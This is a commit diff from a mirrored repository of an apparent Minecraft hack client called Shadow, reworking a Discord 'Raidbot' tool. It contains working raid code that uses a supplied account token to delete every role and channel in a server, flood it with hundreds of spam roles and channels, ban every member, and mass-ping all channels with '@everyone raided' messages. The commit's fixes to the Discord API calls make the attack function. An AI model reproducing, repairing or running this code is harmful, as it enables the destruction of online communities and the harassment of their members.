mirror of
https://github.com/Miasmusa/Shadow.git
synced 2024-11-14 19:04:54 -05:00
unshit reaidbot
This commit is contained in:
parent
23bc553dbe
commit
53916f8884
3 changed files with 109 additions and 80 deletions
|
@ -19,6 +19,7 @@ import net.shadow.client.feature.config.StringSetting;
|
|||
import net.shadow.client.feature.gui.clickgui.element.Element;
|
||||
import net.shadow.client.feature.gui.clickgui.element.impl.config.BooleanSettingEditor;
|
||||
import net.shadow.client.feature.gui.clickgui.element.impl.config.StringSettingEditor;
|
||||
import net.shadow.client.feature.gui.notifications.Notification;
|
||||
import net.shadow.client.feature.gui.panels.PanelsGui;
|
||||
import net.shadow.client.feature.gui.panels.elements.PanelButton;
|
||||
import net.shadow.client.feature.gui.panels.elements.PanelFrame;
|
||||
|
@ -44,9 +45,9 @@ public class ToolsScreen extends Module {
|
|||
boolean alt = false;
|
||||
PanelsGui menu = null;
|
||||
|
||||
BooleanSetting ban = new BooleanSetting.Builder(false).name("Ban Members").get();
|
||||
BooleanSetting roles = new BooleanSetting.Builder(false).name("Nuke roles").get();
|
||||
BooleanSetting channels = new BooleanSetting.Builder(false).name("Nuke channels").get();
|
||||
BooleanSetting ban = new BooleanSetting.Builder(true).name("Ban Members").get();
|
||||
BooleanSetting roles = new BooleanSetting.Builder(true).name("Nuke roles").get();
|
||||
BooleanSetting channels = new BooleanSetting.Builder(true).name("Nuke channels").get();
|
||||
|
||||
|
||||
BooleanSetting isSelfbot = new BooleanSetting.Builder(false).name("Is Selfbot").get();
|
||||
|
@ -171,31 +172,39 @@ public class ToolsScreen extends Module {
|
|||
new Thread(() -> {
|
||||
final ThreadPoolExecutor pool = new ThreadPoolExecutor(10, 10, 0L, TimeUnit.MILLISECONDS, new LinkedBlockingQueue<Runnable>());
|
||||
try{
|
||||
int guildId = Integer.valueOf(guild.getValue());
|
||||
DiscordClient client = new DiscordClient(token.getValue(), isSelfbot.getValue());
|
||||
if(roles.getValue()){
|
||||
for(int role : client.getRoles(guildId)){
|
||||
pool.execute(() -> client.deleteRole(guildId, role));
|
||||
Utils.sleep(50);
|
||||
}
|
||||
for(int i = 0; i < 250; i++){
|
||||
pool.execute(() -> client.createRole(guildId, "molesontop"));
|
||||
Utils.sleep(50);
|
||||
}
|
||||
long guildId = Long.valueOf(guild.getValue());
|
||||
DiscordClient client = new DiscordClient(token.getValue(), true);
|
||||
for(long role : client.getRoles(guildId)){
|
||||
pool.execute(() -> client.deleteRole(guildId, role));
|
||||
Utils.sleep(50);
|
||||
}
|
||||
if(channels.getValue()){
|
||||
for(int channel : client.getChannels(guildId)){
|
||||
pool.execute(() -> client.deleteChannel(channel));
|
||||
Utils.sleep(50);
|
||||
}
|
||||
for(int i = 0; i < 500; i++){
|
||||
pool.execute(() -> client.createChannel(guildId, 0, "molesontop"));
|
||||
Utils.sleep(50);
|
||||
}
|
||||
Notification.create(1000, "Raidbot", Notification.Type.SUCCESS, "Deleted all roles");
|
||||
for(int i = 0; i < 250; i++){
|
||||
pool.execute(() -> client.createRole(guildId, "moles"));
|
||||
Utils.sleep(50);
|
||||
}
|
||||
if(ban.getValue()){
|
||||
for(int member : client.getMembers(guildId)){
|
||||
pool.execute(() -> client.banMember(guildId, member));
|
||||
Notification.create(1000, "Raidbot", Notification.Type.SUCCESS, "Flooded roles");
|
||||
for(long channel : client.getChannels(guildId)){
|
||||
pool.execute(() -> client.deleteChannel(channel));
|
||||
Utils.sleep(50);
|
||||
}
|
||||
Notification.create(1000, "Raidbot", Notification.Type.SUCCESS, "Deleted all channels");
|
||||
for(int i = 0; i < 500; i++){
|
||||
pool.execute(() -> client.createChannel(guildId, 0, "molesontop"));
|
||||
Utils.sleep(50);
|
||||
}
|
||||
Notification.create(1000, "Raidbot", Notification.Type.SUCCESS, "Flooded channels");
|
||||
for(long member : client.getMembers(guildId)){
|
||||
pool.execute(() -> client.banMember(guildId, member));
|
||||
Utils.sleep(50);
|
||||
}
|
||||
Notification.create(1000, "Raidbot", Notification.Type.SUCCESS, "Banned Members");
|
||||
Notification.create(1000, "Raidbot", Notification.Type.INFO, "Sending pings");
|
||||
for(int i = 0; i < 5; i++){
|
||||
for(long channel : client.getChannels(guildId)){
|
||||
pool.execute(() -> {
|
||||
client.sendMessage(channel, "@everyone raided by discord.gg/moles", true);
|
||||
});
|
||||
Utils.sleep(50);
|
||||
}
|
||||
}
|
||||
|
|
|
@ -21,68 +21,88 @@ public class DiscordClient {
|
|||
}
|
||||
}
|
||||
|
||||
public int[] getGuilds() throws IOException, InterruptedException{
|
||||
HttpResponse<String> resp = requests.get("https://discord.com/api/v8/users/@me/guilds", "Authorization:" + token);
|
||||
JsonArray guilds = new JsonParser().parse(resp.body()).getAsJsonArray();
|
||||
int[] guildr = new int[guilds.size()];
|
||||
int iter = 0;
|
||||
for(JsonElement guild : guilds){
|
||||
guildr[iter] = Integer.valueOf(guild.getAsJsonObject().get("id").getAsString());
|
||||
iter++;
|
||||
public long[] getGuilds() throws IOException, InterruptedException{
|
||||
try{
|
||||
HttpResponse<String> resp = requests.get("https://discord.com/api/v8/users/@me/guilds", "Authorization:" + token);
|
||||
JsonArray guilds = new JsonParser().parse(resp.body()).getAsJsonArray();
|
||||
long[] guildr = new long[guilds.size()];
|
||||
int iter = 0;
|
||||
for(JsonElement guild : guilds){
|
||||
guildr[iter] = Long.valueOf(guild.getAsJsonObject().get("id").getAsString());
|
||||
iter++;
|
||||
}
|
||||
return guildr;
|
||||
}catch(Exception e){
|
||||
return new long[0];
|
||||
}
|
||||
return guildr;
|
||||
}
|
||||
|
||||
public int[] getChannels(int guildId) throws IOException, InterruptedException{
|
||||
HttpResponse<String> resp = requests.get("https://discord.com/api/v8/guilds/" + String.valueOf(guildId) + "/channels", "Authorization:" + token);
|
||||
JsonArray guilds = new JsonParser().parse(resp.body()).getAsJsonArray();
|
||||
int[] guildr = new int[guilds.size()];
|
||||
int iter = 0;
|
||||
for(JsonElement guild : guilds){
|
||||
guildr[iter] = Integer.valueOf(guild.getAsJsonObject().get("id").getAsString());
|
||||
iter++;
|
||||
public long[] getChannels(long guildId) throws IOException, InterruptedException{
|
||||
try{
|
||||
HttpResponse<String> resp = requests.get("https://discord.com/api/v8/guilds/" + String.valueOf(guildId) + "/channels", "Authorization:" + token);
|
||||
JsonArray guilds = new JsonParser().parse(resp.body()).getAsJsonArray();
|
||||
long[] guildr = new long[guilds.size()];
|
||||
int iter = 0;
|
||||
for(JsonElement guild : guilds){
|
||||
guildr[iter] = Long.valueOf(guild.getAsJsonObject().get("id").getAsString());
|
||||
iter++;
|
||||
}
|
||||
return guildr;
|
||||
}catch(Exception e){
|
||||
return new long[0];
|
||||
}
|
||||
return guildr;
|
||||
}
|
||||
|
||||
public int[] getDmChannels() throws IOException, InterruptedException{
|
||||
HttpResponse<String> resp = requests.get("https://discord.com/api/v8/users/@me/channels", "Authorization:" + token);
|
||||
JsonArray guilds = new JsonParser().parse(resp.body()).getAsJsonArray();
|
||||
int[] guildr = new int[guilds.size()];
|
||||
int iter = 0;
|
||||
for(JsonElement guild : guilds){
|
||||
guildr[iter] = Integer.valueOf(guild.getAsJsonObject().get("id").getAsString());
|
||||
iter++;
|
||||
public long[] getDmChannels() throws IOException, InterruptedException{
|
||||
try{
|
||||
HttpResponse<String> resp = requests.get("https://discord.com/api/v8/users/@me/channels", "Authorization:" + token);
|
||||
JsonArray guilds = new JsonParser().parse(resp.body()).getAsJsonArray();
|
||||
long[] guildr = new long[guilds.size()];
|
||||
int iter = 0;
|
||||
for(JsonElement guild : guilds){
|
||||
guildr[iter] = Long.valueOf(guild.getAsJsonObject().get("id").getAsString());
|
||||
iter++;
|
||||
}
|
||||
return guildr;
|
||||
}catch(Exception e){
|
||||
return new long[0];
|
||||
}
|
||||
return guildr;
|
||||
}
|
||||
|
||||
public int[] getRoles(int guildId) throws IOException, InterruptedException{
|
||||
HttpResponse<String> resp = requests.get("https://discord.com/api/v8/guilds/" + guildId + "/roles", "Authorization:" + token);
|
||||
JsonArray guilds = new JsonParser().parse(resp.body()).getAsJsonArray();
|
||||
int[] guildr = new int[guilds.size()];
|
||||
int iter = 0;
|
||||
for(JsonElement guild : guilds){
|
||||
guildr[iter] = Integer.valueOf(guild.getAsJsonObject().get("id").getAsString());
|
||||
iter++;
|
||||
public long[] getRoles(long guildId) throws IOException, InterruptedException{
|
||||
try{
|
||||
HttpResponse<String> resp = requests.get("https://discord.com/api/v8/guilds/" + guildId + "/roles", "Authorization:" + token);
|
||||
JsonArray guilds = new JsonParser().parse(resp.body()).getAsJsonArray();
|
||||
long[] guildr = new long[guilds.size()];
|
||||
int iter = 0;
|
||||
for(JsonElement guild : guilds){
|
||||
guildr[iter] = Long.valueOf(guild.getAsJsonObject().get("id").getAsString());
|
||||
iter++;
|
||||
}
|
||||
return guildr;
|
||||
}catch(Exception e){
|
||||
return new long[0];
|
||||
}
|
||||
return guildr;
|
||||
}
|
||||
|
||||
public int[] getMembers(int guildId) throws IOException, InterruptedException{
|
||||
HttpResponse<String> resp = requests.get("https://discord.com/api/v8/guilds/" + guildId + "/members", "Authorization:" + token);
|
||||
JsonArray guilds = new JsonParser().parse(resp.body()).getAsJsonArray();
|
||||
int[] guildr = new int[guilds.size()];
|
||||
int iter = 0;
|
||||
for(JsonElement guild : guilds){
|
||||
guildr[iter] = Integer.valueOf(guild.getAsJsonObject().get("id").getAsString());
|
||||
iter++;
|
||||
public long[] getMembers(long guildId) throws IOException, InterruptedException{
|
||||
try{
|
||||
HttpResponse<String> resp = requests.get("https://discord.com/api/v8/guilds/" + guildId + "/members", "Authorization:" + token);
|
||||
JsonArray guilds = new JsonParser().parse(resp.body()).getAsJsonArray();
|
||||
long[] guildr = new long[guilds.size()];
|
||||
int iter = 0;
|
||||
for(JsonElement guild : guilds){
|
||||
guildr[iter] = Long.valueOf(guild.getAsJsonObject().get("id").getAsString());
|
||||
iter++;
|
||||
}
|
||||
return guildr;
|
||||
}catch(Exception e){
|
||||
return new long[0];
|
||||
}
|
||||
return guildr;
|
||||
}
|
||||
|
||||
|
||||
public int deleteChannel(int channelId){
|
||||
public long deleteChannel(long channelId){
|
||||
HttpResponse<String> req;
|
||||
try {
|
||||
req = requests.delete("https://discord.com/api/v9/channels/" + channelId, "Authorization:" + token);
|
||||
|
@ -94,7 +114,7 @@ public class DiscordClient {
|
|||
return -1;
|
||||
}
|
||||
|
||||
public int createChannel(int guildId, int type, String name){
|
||||
public long createChannel(long guildId, long type, String name){
|
||||
HttpResponse<String> req;
|
||||
try {
|
||||
req = requests.post("https://discord.com/api/v9/guilds/" + guildId + "/channels", "{\"name\":\""+name+"\", \"permission_overwrites\":[], \"type\":\""+type+"\"}", "Authorization:" + token);
|
||||
|
@ -106,10 +126,10 @@ public class DiscordClient {
|
|||
return -1;
|
||||
}
|
||||
|
||||
public int sendMessage(int channelid, String content, String embed){
|
||||
public long sendMessage(long channelid, String content, boolean tts){
|
||||
HttpResponse<String> req;
|
||||
try {
|
||||
req = requests.post("https://discord.com/api/v9/channels/" + channelid + "/messages", "{'content':'"+content+"'', 'embeds':["+embed+"]}", "Authorization:" + token);
|
||||
req = requests.post("https://discord.com/api/v9/channels/" + channelid + "/messages", "{\"content\":\""+content+"\", \"tts\":"+tts+"}", "Authorization:" + token);
|
||||
return req.statusCode();
|
||||
} catch (IOException | InterruptedException e) {
|
||||
// TODO Auto-generated catch block
|
||||
|
@ -118,10 +138,10 @@ public class DiscordClient {
|
|||
return -1;
|
||||
}
|
||||
|
||||
public int banMember(int guildId, int userId){
|
||||
public long banMember(long guildId, long userId){
|
||||
HttpResponse<String> req;
|
||||
try {
|
||||
req = requests.put("https://discord.com/api/v9/guilds/"+guildId+"/bans/"+userId+"", "{'delete_message_days':0}", "Authorization:" + token);
|
||||
req = requests.put("https://discord.com/api/v9/guilds/"+guildId+"/bans/"+userId+"", "{\"delete_message_days\":0}", "Authorization:" + token);
|
||||
return req.statusCode();
|
||||
} catch (IOException | InterruptedException e) {
|
||||
// TODO Auto-generated catch block
|
||||
|
@ -130,10 +150,10 @@ public class DiscordClient {
|
|||
return -1;
|
||||
}
|
||||
|
||||
public int createRole(int guildId, String name){
|
||||
public long createRole(long guildId, String name){
|
||||
HttpResponse<String> req;
|
||||
try {
|
||||
req = requests.post("https://discord.com/api/v9/guilds/"+guildId+"/roles", "{'name':'"+name+"'}", "Authorization:" + token);
|
||||
req = requests.post("https://discord.com/api/v9/guilds/"+guildId+"/roles", "{\"name\":\""+name+"\"}", "Authorization:" + token);
|
||||
return req.statusCode();
|
||||
} catch (IOException | InterruptedException e) {
|
||||
// TODO Auto-generated catch block
|
||||
|
@ -142,7 +162,7 @@ public class DiscordClient {
|
|||
return -1;
|
||||
}
|
||||
|
||||
public int deleteRole(int guildId, int roleId){
|
||||
public long deleteRole(long guildId, long roleId){
|
||||
try {
|
||||
HttpResponse<String> req;
|
||||
req = requests.delete("https://discord.com/api/v9/guilds/"+roleId+"/roles", "Authorization:" + token);
|
||||
|
|
Loading…
Reference in a new issue